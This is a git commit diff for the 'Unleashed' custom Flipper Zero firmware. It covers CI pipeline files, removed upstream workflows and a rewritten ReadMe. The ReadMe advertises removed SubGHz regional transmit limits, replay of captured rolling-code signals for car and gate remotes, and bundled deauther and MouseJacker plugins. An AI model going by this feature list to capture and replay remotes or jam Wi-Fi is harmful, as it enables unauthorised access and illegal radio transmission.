Merge branch 'dev' into dev

This commit is contained in:
MX 2022-08-08 15:52:42 +03:00 committed by GitHub
commit 8e172df48c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
266 changed files with 19622 additions and 2600 deletions

144
.drone.yml Normal file
View file

@ -0,0 +1,144 @@
kind: pipeline
type: docker
name: "Build firmware"
steps:
- name: "Update submodules"
image: alpine/git
commands:
- git submodule sync
- git -c protocol.version=2 submodule update --init --force --recursive
- git submodule foreach git config --local gc.auto 0
- git log -1 --format='%H'
- name: "Build default fw"
image: hfdj/fztools
pull: never
commands:
- export DIST_SUFFIX=${DRONE_TAG}
- export WORKFLOW_BRANCH_OR_TAG=dev-cfw
- ./fbt COMPACT=1 DEBUG=0 updater_package
- mkdir artifacts-default
- mv dist/f7-C/* artifacts-default/
- ls -laS artifacts-default
- ls -laS artifacts-default/f7-update-${DRONE_TAG}
- sed -i 's/(version)/'${DRONE_TAG}'/g' CHANGELOG.md
- echo '# [Install via Web Updater](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-'${DRONE_TAG}'.tgz&channel=dev-cfw&version='${DRONE_TAG}')' >> CHANGELOG.md
environment:
FBT_TOOLS_CUSTOM_LINK:
from_secret: fbt_link
- name: "Bundle resources"
image: kramos/alpine-zip
commands:
- mkdir sd-card
- mkdir -p sd-card/subghz/assets
- mkdir -p sd-card/nfc/assets
- mkdir -p sd-card/infrared/assets
- mkdir -p sd-card/unirf
- mkdir -p sd-card/badusb/layouts
- cp assets/resources/badusb/layouts/* sd-card/badusb/layouts/
- cp assets/resources/subghz/assets/dangerous_settings sd-card/subghz/assets/dangerous_settings
- cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user
- cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes
- cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc
- cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir
- cp assets/resources/infrared/assets/ac.ir sd-card/infrared/assets/ac.ir
- cp assets/resources/infrared/assets/audio.ir sd-card/infrared/assets/audio.ir
- cp assets/resources/unirf/unirf_map_example.txt sd-card/unirf/unirf_map_example.txt
- cp assets/resources/Manifest sd-card/Manifest
- zip -r artifacts-default/sd-card-${DRONE_TAG}.zip sd-card
- rm -rf sd-card
- ls -laS artifacts-default
- name: "Bundle self-update packages"
image: kramos/alpine-zip
commands:
- tar czpf artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz -C artifacts-default f7-update-${DRONE_TAG}
- cp artifacts-default/flipper-z-f7-update-${DRONE_TAG}.tgz .
- zip -r artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip artifacts-default/f7-update-${DRONE_TAG}
- rm -rf artifacts-default/f7-update-${DRONE_TAG}
- ls -laS artifacts-default
- name: "Upload to updates server"
image: appleboy/drone-scp
settings:
host:
from_secret: dep_host
username:
from_secret: dep_user
password:
from_secret: dep_passwd
port:
from_secret: dep_port
target:
from_secret: dep_target
source: flipper-z-f7-update-${DRONE_TAG}.tgz
- name: "Do Github release"
image: ddplugins/github-release
pull: never
settings:
github_url: https://github.com
repo_owner:
from_secret: github_repoowner
api_key:
from_secret: github_apikey
files:
- artifacts-default/*.tgz
- artifacts-default/*.zip
- artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu
title: ${DRONE_TAG}
note: CHANGELOG.md
checksum:
- md5
- sha1
- crc32
- name: "Send files to telegram"
image: appleboy/drone-telegram
settings:
token:
from_secret: tgtoken
to:
from_secret: tgid
format: markdown
message: "New Unleashed firmware released!
Version: {{build.tag}}
[-Github-](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})
[-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})"
document:
- artifacts-default/flipper-z-f7-full-${DRONE_TAG}.dfu
- artifacts-default/flipper-z-f7-update-${DRONE_TAG}.zip
- artifacts-default/sd-card-${DRONE_TAG}.zip
- name: "Send discord notification"
image: appleboy/drone-discord
settings:
webhook_id:
from_secret: ds_wh_id
webhook_token:
from_secret: ds_wh_token
message: "New Unleashed firmware released!
Version: {{build.tag}}
[[Github]](https://github.com/Eng1n33r/flipperzero-firmware/releases/tag/${DRONE_TAG})
[-Install via Web Updater-](https://my.flipp.dev/?url=https://unleashedflip.com/builds/flipper-z-f7-update-${DRONE_TAG}.tgz&channel=dev-cfw&version=${DRONE_TAG})"
trigger:
event:
- tag
node:
typ: haupt

91
.github/CODEOWNERS vendored
View file

@ -1,91 +0,0 @@
# Who owns all the fish by default
* @skotopes @DrZlo13 @hedger
# Apps
/applications/about/ @skotopes @DrZlo13 @hedger
/applications/accessor/ @skotopes @DrZlo13 @hedger
/applications/archive/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/bad_usb/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/bt/ @skotopes @DrZlo13 @hedger @gornekich
/applications/cli/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/crypto/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/debug_tools/ @skotopes @DrZlo13 @hedger
/applications/desktop/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/dialogs/ @skotopes @DrZlo13 @hedger
/applications/dolphin/ @skotopes @DrZlo13 @hedger
/applications/gpio/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/gui/ @skotopes @DrZlo13 @hedger
/applications/ibutton/ @skotopes @DrZlo13 @hedger @gsurkov
/applications/infrared/ @skotopes @DrZlo13 @hedger @gsurkov
/applications/infrared_monitor/ @skotopes @DrZlo13 @hedger @gsurkov
/applications/input/ @skotopes @DrZlo13 @hedger
/applications/lfrfid/ @skotopes @DrZlo13 @hedger
/applications/lfrfid_debug/ @skotopes @DrZlo13 @hedger
/applications/loader/ @skotopes @DrZlo13 @hedger
/applications/music_player/ @skotopes @DrZlo13 @hedger
/applications/nfc/ @skotopes @DrZlo13 @hedger @gornekich
/applications/notification/ @skotopes @DrZlo13 @hedger
/applications/power/ @skotopes @DrZlo13 @hedger
/applications/rpc/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/snake_game/ @skotopes @DrZlo13 @hedger
/applications/storage/ @skotopes @DrZlo13 @hedger
/applications/storage_settings/ @skotopes @DrZlo13 @hedger
/applications/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm
/applications/system/ @skotopes @DrZlo13 @hedger
/applications/u2f/ @skotopes @DrZlo13 @hedger @nminaylov
/applications/unit_tests/ @skotopes @DrZlo13 @hedger
/applications/updater/ @skotopes @DrZlo13 @hedger
# Assets
/assets/ @skotopes @DrZlo13 @hedger
# Furi Core
/furi/ @skotopes @DrZlo13 @hedger
# Debug tools and plugins
/debug/ @skotopes @DrZlo13 @hedger
# Docker
/docker/ @skotopes @DrZlo13 @hedger @aprosvetova
/docker-compose.yml @skotopes @DrZlo13 @hedger @aprosvetova
# Documentation
/documentation/ @skotopes @DrZlo13 @hedger @aprosvetova
# Firmware targets
/firmware/ @skotopes @DrZlo13 @hedger
# Lib
/lib/FreeRTOS-Kernel/ @skotopes @DrZlo13 @hedger
/lib/FreeRTOS-glue/ @skotopes @DrZlo13 @hedger
/lib/ST25RFAL002/ @skotopes @DrZlo13 @hedger @gornekich
/lib/STM32CubeWB/ @skotopes @DrZlo13 @hedger @gornekich
/lib/app-scened-template/ @skotopes @DrZlo13 @hedger
/lib/callback-connector/ @skotopes @DrZlo13 @hedger
/lib/digital_signal/ @skotopes @DrZlo13 @hedger @gornekich
/lib/drivers/ @skotopes @DrZlo13 @hedger
/lib/fatfs/ @skotopes @DrZlo13 @hedger
/lib/flipper_format/ @skotopes @DrZlo13 @hedger
/lib/fnv1a-hash/ @skotopes @DrZlo13 @hedger
/lib/heatshrink/ @skotopes @DrZlo13 @hedger
/lib/infrared/ @skotopes @DrZlo13 @hedger @gsurkov
/lib/libusb_stm32/ @skotopes @DrZlo13 @hedger @nminaylov
/lib/littlefs/ @skotopes @DrZlo13 @hedger
/lib/lfs_config.h @skotopes @DrZlo13 @hedger
/lib/micro-ecc/ @skotopes @DrZlo13 @hedger @nminaylov
/lib/microtar/ @skotopes @DrZlo13 @hedger
/lib/mlib/ @skotopes @DrZlo13 @hedger
/lib/nanopb/ @skotopes @DrZlo13 @hedger
/lib/nfc/ @skotopes @DrZlo13 @hedger @gornekich
/lib/one_wire/ @skotopes @DrZlo13 @hedger
/lib/qrcode/ @skotopes @DrZlo13 @hedger
/lib/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm
/lib/toolbox/ @skotopes @DrZlo13 @hedger
/lib/u8g2/ @skotopes @DrZlo13 @hedger
/lib/update_util/ @skotopes @DrZlo13 @hedger
# Make tools
/make/ @skotopes @DrZlo13 @hedger @aprosvetova
# Helper scripts
/scripts/ @skotopes @DrZlo13 @hedger

View file

@ -1,20 +1,19 @@
name: Bug report
description: File a bug reports regarding the firmware.
labels: ['bug']
labels: ["bug"]
body:
- type: markdown
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero firmware.
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
- type: textarea
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware.
- type: textarea
id: description
attributes:
label: Describe the bug.
description: "A clear and concise description of what the bug is."
validations:
required: true
- type: textarea
- type: textarea
id: repro
attributes:
label: Reproduction
@ -26,20 +25,20 @@ body:
4. It burns
validations:
required: true
- type: input
- type: input
id: target
attributes:
label: Target
description: Specify the target
# Target seems to be largely ignored by outside sources.
- type: textarea
- type: textarea
id: logs
attributes:
label: Logs
description: Attach your debug logs here
render: Text
# Avoid rendering as Markdown here.
- type: textarea
- type: textarea
id: anything-else
attributes:
label: Anything else?

View file

@ -1,12 +1,11 @@
name: Enhancements
description: Suggest improvements for any existing functionality within the firmware.
body:
- type: markdown
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
- type: textarea
- type: textarea
id: proposal
attributes:
label: "Describe the enhancement you're suggesting."
@ -14,7 +13,7 @@ body:
Feel free to describe in as much detail as you wish.
validations:
required: true
- type: textarea
- type: textarea
id: anything-else
attributes:
label: Anything else?

View file

@ -1,13 +1,12 @@
name: Feature Request
description: For feature requests regarding the firmware.
labels: ['feature request']
labels: ["feature request"]
body:
- type: markdown
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions.
If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one)
- type: textarea
- type: textarea
id: proposal
attributes:
label: "Description of the feature you're suggesting."
@ -17,7 +16,7 @@ body:
- Note whetever it is to extend existing functionality or introduce new functionality.
validations:
required: true
- type: textarea
- type: textarea
id: anything-else
attributes:
label: Anything else?

View file

@ -1,5 +1,8 @@
blank_issues_enabled: true
contact_links:
- name: Need help?
url: https://forum.flipperzero.one
about: For any question regarding on how to use the Flipper Zero and its firmware.
- name: Telegram
url: https://t.me/flipperzero_unofficial
about: Unofficial Telegram chat
- name: Discord
url: https://discord.gg/58D6E8BtTU
about: Unofficial Discord Community

View file

@ -1,11 +0,0 @@
name: 'Run in docker'
inputs:
run: # id of input
description: 'A command to run'
required: true
default: ''
runs:
using: 'docker'
image: '../../../docker/Dockerfile'
args:
- ${{ inputs.run }}

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

View file

@ -8,6 +8,6 @@
# Checklist (For Reviewer)
- [ ] PR has description of feature/bug or link to Confluence/Jira task
- [ ] PR has description of feature/bug
- [ ] Description contains actions to verify feature/bugfix
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix

View file

@ -1,191 +0,0 @@
name: 'Build'
on:
push:
branches:
- dev
- "release*"
tags:
- '*'
pull_request:
env:
TARGETS: f7
DEFAULT_TARGET: f7
jobs:
main:
runs-on: [self-hosted,FlipperZeroShell]
steps:
- name: 'Decontaminate previous build leftovers'
run: |
if [ -d .git ]
then
git submodule status \
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
fi
- name: 'Checkout code'
uses: actions/checkout@v2
with:
fetch-depth: 0
ref: ${{ github.event.pull_request.head.sha }}
- name: 'Make artifacts directory'
run: |
test -d artifacts && rm -rf artifacts || true
mkdir artifacts
- name: 'Generate suffix and folder name'
id: names
run: |
REF=${{ github.ref }}
if [[ ${{ github.event_name }} == 'pull_request' ]]; then
REF=${{ github.head_ref }}
fi
BRANCH_OR_TAG=${REF#refs/*/}
SHA=$(git rev-parse --short HEAD)
if [[ "${{ github.ref }}" == "refs/tags/"* ]]; then
SUFFIX=${BRANCH_OR_TAG//\//_}
else
SUFFIX=${BRANCH_OR_TAG//\//_}-$(date +'%d%m%Y')-${SHA}
fi
echo "WORKFLOW_BRANCH_OR_TAG=${BRANCH_OR_TAG}" >> $GITHUB_ENV
echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV
echo "::set-output name=artifacts-path::${BRANCH_OR_TAG}"
echo "::set-output name=suffix::${SUFFIX}"
echo "::set-output name=short-hash::${SHA}"
echo "::set-output name=default-target::${DEFAULT_TARGET}"
- name: 'Bundle scripts'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
tar czpf artifacts/flipper-z-any-scripts-${{steps.names.outputs.suffix}}.tgz scripts
- name: 'Build the firmware'
run: |
set -e
for TARGET in ${TARGETS}
do
FBT_TOOLCHAIN_PATH=/opt ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` updater_package ${{ startsWith(github.ref, 'refs/tags') && 'DEBUG=0 COMPACT=1' || '' }}
done
- name: 'Move upload files'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
set -e
for TARGET in ${TARGETS}
do
mv dist/${TARGET}-*/* artifacts/
done
- name: 'Bundle self-update package'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
set -e
for UPDATEBUNDLE in artifacts/*/
do
BUNDLE_NAME=`echo $UPDATEBUNDLE | cut -d'/' -f2`
echo Packaging ${BUNDLE_NAME}
tar czpf artifacts/flipper-z-${BUNDLE_NAME}.tgz -C artifacts ${BUNDLE_NAME}
rm -rf artifacts/${BUNDLE_NAME}
done
- name: "Check for uncommited changes"
run: |
git diff --exit-code
- name: 'Bundle resources'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
tar czpf artifacts/flipper-z-any-resources-${{steps.names.outputs.suffix}}.tgz -C assets resources
- name: 'Bundle core2 firmware'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
FBT_TOOLCHAIN_PATH=/opt ./fbt copro_dist
tar czpf artifacts/flipper-z-any-core2_firmware-${{steps.names.outputs.suffix}}.tgz -C assets core2_firmware
- name: 'Upload artifacts to update server'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: |
echo "${{ secrets.RSYNC_DEPLOY_KEY }}" > deploy_key;
chmod 600 ./deploy_key;
rsync -avzP --delete --mkpath \
-e 'ssh -p ${{ secrets.RSYNC_DEPLOY_PORT }} -i ./deploy_key' \
artifacts/ ${{ secrets.RSYNC_DEPLOY_USER }}@${{ secrets.RSYNC_DEPLOY_HOST }}:"${{ secrets.RSYNC_DEPLOY_BASE_PATH }}${{steps.names.outputs.artifacts-path}}/";
rm ./deploy_key;
- name: 'Trigger update server reindex'
if: ${{ !github.event.pull_request.head.repo.fork }}
run: curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }}
- name: 'Find Previous Comment'
if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request }}
uses: peter-evans/find-comment@v1
id: fc
with:
issue-number: ${{ github.event.pull_request.number }}
comment-author: 'github-actions[bot]'
body-includes: 'Compiled firmware for commit'
- name: 'Create or update comment'
if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request}}
uses: peter-evans/create-or-update-comment@v1
with:
comment-id: ${{ steps.fc.outputs.comment-id }}
issue-number: ${{ github.event.pull_request.number }}
body: |
**Compiled firmware for commit `${{steps.names.outputs.short-hash}}`:**
- [📦 Update package](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz)
- [📥 DFU file](https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-full-${{steps.names.outputs.suffix}}.dfu)
- [☁️ Web updater](https://my.flipp.dev/?url=https://update.flipperzero.one/builds/firmware/${{steps.names.outputs.artifacts-path}}/flipper-z-${{steps.names.outputs.default-target}}-update-${{steps.names.outputs.suffix}}.tgz&channel=${{steps.names.outputs.artifacts-path}}&version=${{steps.names.outputs.short-hash}})
edit-mode: replace
compact:
if: ${{ !startsWith(github.ref, 'refs/tags') }}
runs-on: [self-hosted,FlipperZeroShell]
steps:
- name: 'Decontaminate previous build leftovers'
run: |
if [ -d .git ]
then
git submodule status \
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
fi
- name: 'Checkout code'
uses: actions/checkout@v2
with:
fetch-depth: 0
submodules: true
ref: ${{ github.event.pull_request.head.sha }}
- name: 'Generate suffix and folder name'
id: names
run: |
REF=${{ github.ref }}
if [[ ${{ github.event_name }} == 'pull_request' ]]; then
REF=${{ github.head_ref }}
fi
BRANCH_OR_TAG=${REF#refs/*/}
SHA=$(git rev-parse --short HEAD)
if [[ "${{ github.ref }}" == "refs/tags/"* ]]; then
SUFFIX=${BRANCH_OR_TAG//\//_}
else
SUFFIX=${BRANCH_OR_TAG//\//_}-$(date +'%d%m%Y')-${SHA}
fi
echo "WORKFLOW_BRANCH_OR_TAG=${BRANCH_OR_TAG}" >> $GITHUB_ENV
echo "DIST_SUFFIX=${SUFFIX}" >> $GITHUB_ENV
- name: 'Build the firmware'
run: |
set -e
for TARGET in ${TARGETS}
do
FBT_TOOLCHAIN_PATH=/opt ./fbt TARGET_HW=`echo ${TARGET} | sed 's/f//'` updater_package DEBUG=0 COMPACT=1
done

View file

@ -1,47 +0,0 @@
name: 'Check submodules branch'
on:
push:
branches:
- dev
- "release*"
tags:
- '*'
pull_request:
jobs:
check_protobuf:
runs-on: [self-hosted, FlipperZeroShell]
steps:
- name: 'Decontaminate previous build leftovers'
run: |
if [ -d .git ]
then
git submodule status \
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
fi
- name: 'Checkout code'
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: 'Check protobuf branch'
run: |
SUB_PATH="assets/protobuf";
SUB_BRANCH="dev";
SUB_COMMITS_MIN=40;
cd "$SUB_PATH";
SUBMODULE_HASH="$(git rev-parse HEAD)";
BRANCHES=$(git branch -r --contains "$SUBMODULE_HASH");
COMMITS_IN_BRANCH="$(git rev-list --count dev)";
if [ $COMMITS_IN_BRANCH -lt $SUB_COMMITS_MIN ]; then
echo "::set-output name=fails::error";
echo "::error::Error: Too low commits in $SUB_BRANCH of submodule $SUB_PATH: $COMMITS_IN_BRANCH(expected $SUB_COMMITS_MIN+)";
exit 1;
fi
if ! grep -q "/$SUB_BRANCH" <<< "$BRANCHES"; then
echo "::set-output name=fails::error";
echo "::error::Error: Submodule $SUB_PATH is not on branch $SUB_BRANCH";
exit 1;
fi

View file

@ -1,46 +0,0 @@
name: 'Lint C/C++ with clang-format'
on:
push:
branches:
- dev
- "release*"
tags:
- '*'
pull_request:
env:
TARGETS: f7
jobs:
lint_c_cpp:
runs-on: [self-hosted,FlipperZeroShell]
steps:
- name: 'Decontaminate previous build leftovers'
run: |
if [ -d .git ]
then
git submodule status \
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
fi
- name: 'Checkout code'
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: 'Check code formatting'
id: syntax_check
run: SET_GH_OUTPUT=1 FBT_TOOLCHAIN_PATH=/opt ./fbt lint
- name: Report code formatting errors
if: failure() && steps.syntax_check.outputs.errors && github.event.pull_request
uses: peter-evans/create-or-update-comment@v1
with:
issue-number: ${{ github.event.pull_request.number }}
body: |
Please fix following code formatting errors:
```
${{ steps.syntax_check.outputs.errors }}
```
You might want to run `./fbt format` for an auto-fix.

View file

@ -1,30 +0,0 @@
name: 'Python Lint'
on:
push:
branches:
- dev
- "release*"
tags:
- '*'
pull_request:
jobs:
lint_python:
runs-on: [self-hosted,FlipperZeroShell]
steps:
- name: 'Decontaminate previous build leftovers'
run: |
if [ -d .git ]
then
git submodule status \
|| git checkout `git rev-list --max-parents=0 HEAD | tail -n 1`
fi
- name: 'Checkout code'
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: 'Check code formatting'
run: SET_GH_OUTPUT=1 FBT_TOOLCHAIN_PATH=/opt ./fbt lint_py

View file

@ -1,14 +0,0 @@
name: 'Reindex'
on:
release:
types: [prereleased,released]
jobs:
reindex:
name: 'Reindex updates'
runs-on: [self-hosted,FlipperZeroShell]
steps:
- name: Trigger reindex
run: |
curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }}

1
.gitignore vendored
View file

@ -39,6 +39,7 @@ dist
# kde
.directory
null.d
# SCons
.sconsign.dblite

View file

@ -1,6 +1,7 @@
cask "gcc-arm-embedded"
cask "brew-cask/gcc-arm-embedded.rb"
brew "protobuf"
brew "gdb"
brew "open-ocd"
brew "clang-format"
brew "dfu-util"
brew "protobuf-c"

19
CHANGELOG.md Normal file
View file

@ -0,0 +1,19 @@
### New changes
* Universal Remote for ACs and Audio(soundbars, etc..) / + updated audio universal remote file
* Added wav player
* Games fixes and improvements
* OFW: SubGhz: add protocol BERNER / ELKA / TEDSEN / TELETASTER / Doitrand / Marantec / Phoenix V2 (static mode) / Phox (static mode), fix Princeton
* OFW: NFC: Add Skylanders support
* OFW: NFC: Add a Mifare Classic info screen to parser output
* OFW: Mifare Ultralight authentication
* OFW: other changes
**Note: Prefer installing using web updater or by self update package**
Self-update package (update from microSD) - `flipper-z-f7-update-(version).zip`
DFU for update using qFlipper - `flipper-z-f7-full-(version).dfu`
If using DFU update method, download this archive and unpack it to your microSD, replacing all files except files you have edited manually -
`sd-card-(version).zip`

View file

@ -1,72 +0,0 @@
# Welcome to FlipperZero contributing guide <!-- omit in toc -->
Thank you for investing your time in contributing to our project!
Read our [Code of Coduct](CODE_OF_CONDUCT.md) to keep our community approachable and respectable.
In this guide you will get an overview of the contribution workflow from opening an issue, creating a PR, reviewing, and merging the PR.
## New contributor guide
See the [ReadMe](ReadMe.md) to get an overview of the project. Here are some helpful resources to get you comfortable with open source contribution:
- [Finding ways to contribute to open source on GitHub](https://docs.github.com/en/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github)
- [Set up Git](https://docs.github.com/en/get-started/quickstart/set-up-git)
- [GitHub flow](https://docs.github.com/en/get-started/quickstart/github-flow)
- [Collaborating with pull requests](https://docs.github.com/en/github/collaborating-with-pull-requests)
## Getting started
Before writing code and creating PR make sure that it aligns with our mission and guidlines:
- All our devices are intended for research and education.
- PR that contains code intended to commit crimes is not going to be accepted.
- Your PR must comply with our [Coding Style](CODING_STYLE.md)
- Your PR must contain code compatiable with project [LICENSE](LICENSE).
- PR will only be merged if it pass CI/CD.
- PR will only be merged if it pass review by code owner.
Feel free to ask questions in issues if you're not sure.
### Issues
#### Create a new issue
If you found a problem, [search if an issue already exists](https://docs.github.com/en/github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests#search-by-the-title-body-or-comments). If a related issue doesn't exist, you can open a new issue using a relevant [issue form](https://github.com/flipperdevices/flipperzero-firmware/issues/new/choose).
#### Solve an issue
Scan through our [existing issues](https://github.com/flipperdevices/flipperzero-firmware/issues) to find one that interests you.
### Make Changes
1. Fork the repository.
- Using GitHub Desktop:
- [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop.
- Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)!
- Using the command line:
- [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them.
2. Install build requirements
3. Create a working branch and start with your changes!
### Commit your update
Commit the changes once you are happy with them. Make sure that code compilation is not broken and passes tests. Check syntax and formatting.
### Pull Request
When you're done making the changes, open a pull request, often referred to as a PR.
- Fill out the "Ready for review" template so we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request.
- Don't forget to [link PR to issue](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) if you are solving one.
- Enable the checkbox to [allow maintainer edits](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork) so the branch can be updated for a merge.
Once you submit your PR, a Docs team member will review your proposal. We may ask questions or request for additional information.
- We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch.
- As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations).
- If you run into any merge issues, checkout this [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) to help you resolve merge conflicts and other issues.
### Your PR is merged!
Congratulations :tada::tada: The FlipperDevices team thanks you :sparkles:.

203
ReadMe.md
View file

@ -1,155 +1,139 @@
# Flipper Zero Firmware
# Flipper Zero Unleashed Firmware
[![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](http://flipperzero.one/discord)
<a href="https://ibb.co/wQ12PVc"><img src="https://i.ibb.co/wQ12PVc/fzCUSTOM.png" alt="fzCUSTOM" border="0"></a>
![Show me the code](https://habrastorage.org/webt/eo/m0/e4/eom0e4btudte7nrhnyic-laiog0.png)
Welcome to Flipper Zero's Custom Firmware repo!
Our goal is to make any features possible in this device without any limitations!
Welcome to [Flipper Zero](https://flipperzero.one/)'s Firmware repo!
Our goal is to create nice and clean code with good documentation, to make it a pleasure for everyone to work with.
Please help us implement emulation for all subghz dynamic (rolling code) protocols and static code brute-force app!
# Clone the Repository
<br>
You should clone with
```shell
$ git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
```
# Update firmware
### This software is for experimental purposes only and is not meant for any illegal activity/purposes. <br> We do not condone illegal activity and strongly encourage keeping transmissions to legal/valid uses allowed by law. <br> Also this software is made without any support from Flipper Devices and in no way related to official devs.
[Get Latest Firmware from Update Server](https://update.flipperzero.one/)
Flipper Zero's firmware consists of two components:
<br>
Our Discord Community:
<br>
<a href="https://discord.gg/58D6E8BtTU"><img src="https://discordapp.com/api/guilds/937479784148115456/widget.png?style=banner4" alt="Unofficial Discord Community"></a>
- Core2 firmware set - proprietary components by ST: FUS + radio stack. FUS is flashed at factory and you should never update it.
- Core1 Firmware - HAL + OS + Drivers + Applications.
<br>
<br>
<br>
They both must be flashed in the order described.
# What's changed
* SubGHz regional TX restrictions removed
* SubGHz frequecy range can be extended in settings file (Warning: It can damage flipper's hardware)
* Many rolling code protocols now have the ability to save & send captured signals
* FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation
* Custom community plugins and games added
* Extra SubGHz frequencies + extra Mifare Classic keys
* Picopass/iClass plugin included in releases
* Recompiled IR TV Universal Remote for ALL buttons
* Universal A/C and Audio(soundbars, etc.) remote
* Other small fixes and changes throughout
## With offline update package
See changelog in releases for latest updates!
With Flipper attached over USB:
### Current modified and new SubGhz protocols list:
- HCS101
- An-Motors
- CAME Atomo
- FAAC SLH (Spa) [if cloning existing remote - external seed calculation required]
- BFT Mitto [if cloning existing remote - external seed calculation required]
- Keeloq (+ proper manufacturer codes selection) [Not ALL systems supported yet!]
- Nice Flor S
- Security+ v1 & v2
- Star Line
`./fbt flash_usb`
### Community apps included:
Just building the package:
- ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module)
- WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module)
- WAV player plugin (fixed) [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player)
- UPC-A Barcode generator plugin [(by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator)
- GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin)
- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion)
- NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker)
- HID Analyzer [(by Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer)
- Simple Clock (fixed) !! New version WIP, wait for updates !! [(Original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61)
- UniversalRF Remix (with changes)(only RAW subghz files) [(by ESurge)(Original UniversalRF by jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix)
